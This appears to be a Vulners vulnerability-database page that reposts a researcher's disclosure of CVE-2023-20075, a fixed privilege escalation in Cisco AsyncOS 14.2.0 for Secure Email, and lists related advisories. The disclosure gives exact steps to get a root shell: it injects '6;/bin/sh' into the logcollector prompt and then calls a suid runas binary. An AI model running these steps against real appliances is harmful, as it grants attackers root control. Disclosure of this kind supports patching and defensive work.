Vulners
Lucene search
📄 Cisco AsyncOS 14.2.0 Privilege Escalation / Local Root
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | The vulnerability of the command-line interface (CLI) of the Cisco Email Security Appliance allows a perpetrator to execute arbitrary commands. | 2 Jun 202300:00 | – | bdu_fstec |
 | CVE-2023-20075 | 17 Feb 202316:30 | – | circl |
 | Cisco Email Security Appliance Arbitrary Code Execution (cisco-sa-esa-sma-privesc-9DVkFpJ8) | 22 Feb 202300:00 | – | nessus |
 | Cisco Email Security Appliance and Cisco Secure Email and Web Manager Vulnerabilities | 15 Feb 202316:00 | – | cisco |
 | Cisco Secure Email 操作系统命令注入漏洞 | 1 Mar 202300:00 | – | cnnvd |
 | CVE-2023-20075 | 16 Feb 202315:25 | – | cve |
 | CVE-2023-20075 | 16 Feb 202315:25 | – | cvelist |
 | EUVD-2023-24254 | 3 Oct 202520:07 | – | euvd |
 | Vulnerabilities fixed in Cisco Email Security Appliance (ESA) and Secure Email and Web Manager. | 24 Feb 202300:00 | – | ncsc |
 | CVE-2023-20075 | 1 Mar 202308:15 | – | nvd |
10
# About
Security researcher: ly1g3, ly1g3[at]tuta.io
GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Overview: Local Privilege Escalation and Shell Escape
CVE: CVE-2023-20075
Timeline:
* Discovered - ly1g3
* Reported - ly1g3
* Fixed - Cisco
# Cisco AsyncOS 14.2.0
ESA (Cisco Secure Email)
## Privilege escalation - cli to root shell
A authenticated user with access to the cli can escalate privileges to root and execute arbitrary code
### Steps to shell
1. From cli run command `logcollector`
2. Press `3`
3. Enter value: `6;/bin/sh`
4. Shell as user
### Steps to root
1. From shell run suid binary runas
2. `/data/release/phoebe-14*/bin/runas 0 /bin/sh`
3. Shell as rootData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.16 - 6.7
EPSS0.00362